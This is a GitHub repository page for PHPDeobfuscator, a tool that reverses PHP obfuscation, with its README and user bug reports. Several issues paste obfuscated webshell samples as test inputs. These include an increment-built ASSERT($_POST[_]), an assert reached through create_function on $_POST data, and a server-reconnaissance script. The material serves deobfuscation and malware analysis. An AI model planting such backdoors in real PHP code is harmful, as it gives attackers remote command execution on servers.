simon816 / phpdeobfuscator

Advanced PHP deobfuscator

PHPDeobfuscator

Overview

This deobfuscator attempts to reverse common obfuscation techniques applied to PHP source code.

It is implemented in PHP with the help of PHP-Parser.

Features

• Reduces all constant expressions e.g. 1 + 2 is replaced by 3
• Safely run whitelisted PHP functions e.g. base64_decode
• Deobfuscate eval expressions
• Unwrap deeply nested obfuscation
• Filesystem virtualization
• Variable resolver (e.g. $var1 = 10; $var2 = &$var1; $var2 = 20; can determine $var1 equals 20)
• Rewrite control flow obfuscation

Installation

PHP Deobfuscator uses Composer to manage its dependencies. Make sure Composer is installed first.

Run composer install in the root of this project to fetch dependencies.

Usage

CLI

php index.php [-f filename] [-t] [-o]

required arguments:

-f    The obfuscated PHP file

optional arguments:

-t    Dump the output node tree for debugging
-o    Output comments next to each expression with the original code

The deobfuscated output is printed to STDOUT.

Web Server

index.php outputs a simple textarea to paste the PHP code into. Deobfuscated code is printed when the form is submitted

Examples

Input

<?php
eval(base64_decode("ZWNobyAnSGVsbG8gV29ybGQnOwo="));

Output

<?php

eval /* PHPDeobfuscator eval output */ {
    echo "Hello World";
};

Input

<?
$f = fopen(__FILE__, 'r');
$str = fread($f, 200);
list(,, $payload) = explode('?>', $str);
eval($payload . '');
?>
if ($doBadThing) {
    evil_payload();
}

Output

<?php

$f = fopen("/var/www/html/input.php", 'r');
$str = "<?\n\$f = fopen(__FILE__, 'r');\n\$str = fread(\$f, 200);\nlist(,, \$payload) = explode('?>', \$str);\neval(\$payload . '');\n?>\nif (\$doBadThing) {\n    evil_payload();\n}\n";
list(, , $payload) = array(0 => "<?\n\$f = fopen(__FILE__, 'r');\n\$str = fread(\$f, 200);\nlist(,, \$payload) = explode('", 1 => "', \$str);\neval(\$payload . '');\n", 2 => "\nif (\$doBadThing) {\n    evil_payload();\n}\n");
eval /* PHPDeobfuscator eval output */ {
    if ($doBadThing) {
        evil_payload();
    }
};
?>
if ($doBadThing) {
    evil_payload();
}

Input

<?php
$x = 'y';
$$x = 10;
echo $y * 2;

Output

<?php

$x = 'y';
$y = 10;
echo 20;

Input

<?php
goto label4;
label1:
func4();
exit;
label2:
func3();
goto label1;
label3:
func2();
goto label2;
label4:
func1();
goto label3;

Output

<?php

func1();
func2();
func3();
func4();
exit;

phpdeobfuscator's Issues

Function names are case-insensitive

Function names with mixed case cannot be restored properly.

<?php
    $K=sTr_RepLaCe('`','',chr('111').'`s`s`e`r`t');

I believe that the reduceFunctionCall function in FuncCallReducer did not convert the function name to lower case.

PHPDeobfuscator/src/Reducer/FuncCallReducer.php

Lines 26 to 38 in f70baa3

	public function reduceFunctionCall(Node\Expr\FuncCall $node)
	{
	if ($node->name instanceof Node\Name) {
	$name = $node->name->toString();
	} else {
	$name = Utils::getValue($node->name);
	$nameNode = new Node\Name($name);
	// Special case for MetadataVisitor
	$nameNode->setAttribute('replaces', $node->name);
	$node->name = $nameNode;
	}
	return $this->makeFunctionCall($name, $node);
	}

Use strtolower() here to ensure that $name is lowercase.

public function reduceFunctionCall(Node\Expr\FuncCall $node)
    {
        if ($node->name instanceof Node\Name) {
-            $name = $node->name->toString();
+           $name = strtolower($node->name->toString());
        } else {
            $name = Utils::getValue($node->name);
            $nameNode = new Node\Name($name);
            // Special case for MetadataVisitor
            $nameNode->setAttribute('replaces', $node->name);
            $node->name = $nameNode;
        }
        return $this->makeFunctionCall($name, $node);
    }

https://github.com/L2ksy0d/PHPDeobfuscator/blob/e275b9265e8139df2208233ac4f08f588dd3c484/src/Reducer/FuncCallReducer.php#L26-L38

Problem with more than two consecutive goto labels.

When the code has more than two consecutive labels we get an error and the resulting code still has the two first labels (which should be removed I believe).
Example:

Input:

goto LabelA;
LabelA: 
LabelB: 
LabelC: 
echo 'hello';

Output:

LabelA:
LabelB:
echo "hello";

Expected output:

echo "hello";

PHP Fatal error: Uncaught LogicException:

PHP Fatal error: Uncaught LogicException: Path is outside of the defined root, path: [../init.php] in /home/chris/Downloads/PHPDeobfuscator-master/vendor/league/flysystem/src/Util.php:118
Stack trace:
#0 /home/chris/Downloads/PHPDeobfuscator-master/vendor/league/flysystem/src/Util.php(92): League\Flysystem\Util::normalizeRelativePath('../init.php')
#1 /home/chris/Downloads/PHPDeobfuscator-master/vendor/league/flysystem/src/Filesystem.php(56): League\Flysystem\Util::normalizePath('../init.php')
#2 /home/chris/Downloads/PHPDeobfuscator-master/src/Reducer/EvalReducer.php(40): League\Flysystem\Filesystem->has('../init.php')
#3 /home/chris/Downloads/PHPDeobfuscator-master/src/Reducer/AbstractReducer.php(39): Reducer\EvalReducer->reduceInclude(Object(PhpParser\Node\Expr\Include_))
#4 /home/chris/Downloads/PHPDeobfuscator-master/src/ReducerVisitor.php(33): Reducer\AbstractReducer->reduce(Object(PhpParser\Node\Expr\Include_), Object(ReducerVisitor))
#5 /home/chris/Downloads/PHPDeobfuscator-master/src/ReducerVisitor.php(24): ReducerVisitor->reduceNode(Object(PhpParser\Node\Expr\Include_))
#6 /home/chris/Downloads/PHPDeobfuscator-master/vendor/nikic/php-parser/lib/PhpParser/NodeTraverser.php(178): ReducerVisitor->leaveNode(Object(PhpParser\Node\Expr\Include_))
#7 /home/chris/Downloads/PHPDeobfuscator-master/vendor/nikic/php-parser/lib/PhpParser/NodeTraverser.php(85): PhpParser\NodeTraverser->traverseArray(Array)
#8 /home/chris/Downloads/PHPDeobfuscator-master/src/Deobfuscator.php(104): PhpParser\NodeTraverser->traverse(Array)
#9 /home/chris/Downloads/PHPDeobfuscator-master/index.php(16): Deobfuscator->deobfuscate(Array)
#10 /home/chris/Downloads/PHPDeobfuscator-master/index.php(29): deobfuscate('<?php\r\ngoto b1a...', '/home/chris//cl...', false)
#11 {main}
thrown in /home/chris/Downloads/PHPDeobfuscator-master/vendor/league/flysystem/src/Util.php on line 118

fclose(): supplied resource is not a valid stream resource

Some files throw fclose(): supplied resource is not a valid stream resource Error.

Suggested fix:

PHPDeobfuscator/src/Reducer/FuncCallReducer/FileSystemCall.php

Line 133 in 3f5f3b1

fclose($handle->getResource());

     private function fclose(ResourceValue $handle)
     {
        if (is_resource($handle->getResource())) {
           fclose($handle->getResource());
        }
     }

It does not seem to be able to restore system resource-related functions

The test sample is as follows

<?php
$x1c = "\x64\151\163k\146\162\145e\x73\160\x61\x63\x65";
$x1d = "\144i\163\x6b_\164o\164a\154\137\x73\160\x61ce";
$x1e = "\x67\145\x74\x63\x77d";
$x1f = "\x67e\164\x65\x6e\166";
$x20 = "\x67\145t\150\157s\x74by\156\x61\155\145";
$x21 = "\x70\150\x70\x5fu\x6e\141\155e";
$x22 = "\x70\x68\x70\166e\162\163\x69\157n";
$x23 = "\163\x70r\x69\x6et\x66";
$x24 = "\163tr\154e\x6e";
$x25 = "\x73y\163\164\x65\155";

echo "\x66\151\147\x62a\x79\x69\154\157\146i\x6cogba<\x62r\076";
$x0d = $x21();

$x10 = $x1e();
$x11 = $x1f("\x53\x45\122\x56\x45\122\x5f\x53O\106\124\x57A\122\105");
$x12 = $x22();
$x13 = $_SERVER['SERVER_NAME'];

$x16 = $x1c($x10);
$x18 = $x1d($x10);

$x1b = @PHP_OS;
echo "\146\x69\x67\142\x61y\x69\x6co\146i\x6c\x6fg\x62\x61\074\142\162\076";
echo "\165n\141\x6d\145 -\141: $x0d<\x62\162\x3e";
echo "os\072 $x1b\x3c\x62\162\x3e";
echo "\160w\x64\x3a $x10<\x62r>";
echo "p\150p\x3a\040$x12\x3c\x62\162>";
echo "\163\x6f\x66\x74\167a\162\x65:\x20$x11\x3c\x62\162>";
echo "\x73\x65r\x76\x65r\x2d\x6e\141\155\145\x3a\x20$x13\074\142\162\076";

This is going to throw an error

$x16 = $x1c($x10);
$x18 = $x1d($x10);

==>
Fatal error: Uncaught PHPDeobfuscator\Exceptions\UnknownValueException:Cannot determine value of node

Another sample:

<?php
$a=@$_POST['aa'];
$bd="base64_decode";
$str="str_replace";
$d=$bd("WVhOelkyRnZibWx0WVdWeWRBPT1pdHN1a2k=");
$d=$str('it','suki',$d);
$d=$str('suki','',$d);
$d=$bd($d);
$d=$str('cao','nima',$d);
$d=$str('nima','',$d);
create_function('',$d($a));
?>

This code create_function('',$d($a)); causes the program to exit abnormally

Fatal error: Uncaught PHPDeobfuscator\Exceptions\UnknownValueException: Cannot determine value of node in C:\Users\Itsuki\Desktop\php-deobf\src\Utils.php on line 55

PHPDeobfuscator\Exceptions\UnknownValueException: : Cannot determine value of node in C:\Users\Itsuki\Desktop\php-deobf\src\Utils.php on line 55

Call Stack:
    0.0002     399528   1. {main}() PHPDeobfuscator\index.php:0
    0.0019     487640   2. deobfuscate(string(263), string(10), false) PHPDeobfuscator\index.php:29
    0.0364    6293768   3. PHPDeobfuscator\Deobfuscator->deobfuscate(array(10)) PHPDeobfuscator\index.php:16
    0.0369    6316824   4. PhpParser\NodeTraverser->traverse(array(10)) PHPDeobfuscator\src\Deobfuscator.php:110
    0.0369    6316824   5. PhpParser\NodeTraverser->traverseArray(array(10)) PHPDeobfuscator\vendor\nikic\php-parser\lib\PhpParser\NodeTraverser.php:91
    0.0404    6407112   6. PhpParser\NodeTraverser->traverseNode(class PhpParser\Node\Stmt\Expression) PHPDeobfuscator\vendor\nikic\php-parser\lib\PhpParser\NodeTraverser.php:223
    0.0404    6407144   7. PhpParser\NodeTraverser->traverseNode(class PhpParser\Node\Expr\FuncCall) PHPDeobfuscator\vendor\nikic\php-parser\lib\PhpParser\NodeTraverser.php:146
    0.0405    6407272   8. PhpParser\NodeTraverser->traverseArray(array(2)) PHPDeobfuscator\vendor\nikic\php-parser\lib\PhpParser\NodeTraverser.php:114
    0.0405    6407984   9. PhpParser\NodeTraverser->traverseNode(class PhpParser\Node\Arg) PHPDeobfuscator\vendor\nikic\php-parser\lib\PhpParser\NodeTraverser.php:223
    0.0406    6409168  10. PHPDeobfuscator\Reducer\VariableReducer->leaveNode(class PhpParser\Node\Expr\FuncCall) PHPDeobfuscator\vendor\nikic\php-parser\lib\PhpParser\NodeTraverser.php:153
    0.0406    6409264  11. PHPDeobfuscator\Utils::getValue(class PhpParser\Node\Expr\Variable) PHPDeobfuscator\src\Reducer\VariableReducer.php:19
    0.0406    6409264  12. PHPDeobfuscator\Utils::getValueRef(class PhpParser\Node\Expr\Variable) PHPDeobfuscator\src\Utils.php:63

When $a is the normal variable value, it can be restored normally.

$a="phpinfo()";
create_function('',$d($a));  ===> create_function('', assert('phpinfo()'));

$a = $_POST['a'];
create_function('',$d($a));  ===> error.$d can be recognized as assert, but the value of $a cannot be recognized.

The AST for the global variable is as follows:

expr: Expr_ArrayDimFetch(
                var: Expr_Variable(
                    name: _POST
                )
            )

Perhaps you can use PHP-Parser's prettyPrintExpr($node) to extract it as a string.
it needs to improve error handling? Output what has been restored when an error occurs?

missing file

Hello
Thank you simon816 for amazing script . we want use it but we found a missing file require 'vendor/autoload.php';

vendor/autoload.php
can you please help us to get this file please ?

Cannot be restored when the variable value is Superglobals

sample:

<?php
    $a = $_POST['a'];
    $b = $_GET['b'];
    $c = 'assert';
    $a($b);
    $c($a);
    echo "aaa";

it doesn't seem to get a value, and it appears empty.

Goto calls

Hello, I saw that the tool is able to remove GOTO as per the examples in the readme

it happens but I was not successful in my attempt

Is it possible to find a cause? to remove goto calls

example: https://pastebin.com/NyVxZMC0

Problem

Not full remove all goto https://pastebin.com/wCvUpqf2

Is there developer documentation here?

Hello, I plan to do a PHPDeobfuscator project as my graduation project, I plan to learn the processing mode of your project, but NOW I can only do some basic application of PHP-Parser, I am trying to understand your data flow processing, I have been reading the source code of ControlFlowVisitor recently, But sometimes I can't understand it well, and FuncCallReducer. Have you written any documentation to help others understand the flow of the program?

PHP Fatal error: Array and string offset access syntax with curly braces is no longer supported

src/Reducer/EvalReducer.php

src/Reducer/EvalReducer.php:        if (substr($code, 0, 2) == '?>' && $code{2} != '<') {
src/Reducer/EvalReducer.php:            $code{0} = '<';
src/Reducer/EvalReducer.php:            $code{1} = '?';

Those 3 lines just need to be changed.

Not correct decode

Not correct decode goto and multi label.
lab1:
lab2:
lab3:

Problem decoding goto

Ex:
"<?php
$k = 3;
if(!($k<3))goto end;
echo 'Hello world\n';
end:"
Goto is not decoded in this case, can you update the program that can decode goto in if/while for loops?

Variable restoration failure

When there is a branch control statement in the middle of the code segment (for example, if, while), the variable reduction after the branch is invalid.

INPUT

<?php
$a = 'b';
$b = 'm';
$i=1;

echo $a;
echo $b;

OUTPUT

<?php    
         
$a = 'b';
$b = 'm';
$i = 1;  
echo "b";
echo "m";

INPUT

<?php
$a = 'b';
$b = 'm';
$i=1;
while($i<=5)
{
    echo "The number is " . $i . "<br>";
    $i++;
}
echo $i;
echo $a;
echo $b;

OUTPUT

<?php                                   
                                        
$a = 'b';                               
$b = 'm';                               
$i = 1;                                 
while ($i <= 5) {                       
    echo "The number is " . $i . "<br>";
    $i++;                               
} 
                                      
echo $i;                                
echo $a;                                
echo $b; 

The values of $a and $b are not restored.
Branch statements may interfere with the normal operation of Scope and Resolver.

Unable to handle increment of string

hello,when I was working with a confused php sample, I found that it couldn't handle string increments like this:

<?php
    $a = "a";
    $a++;  //$a is 'b'

In the sample, starting from character a, ‘assert’ are obtained through self-increment operation, and command execution statements are constructed.

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

For string variables, statements in $a++ format cannot be converted to $a+ = 1 or $a = $a+ 1.
How do you do variable storage? How do I get the value of the specified variable?Is it $node->getAttribute(AttrName::VALUE)?
My idea is to get the value of the variable and update the new value after increment.
Look forward to your thoughts.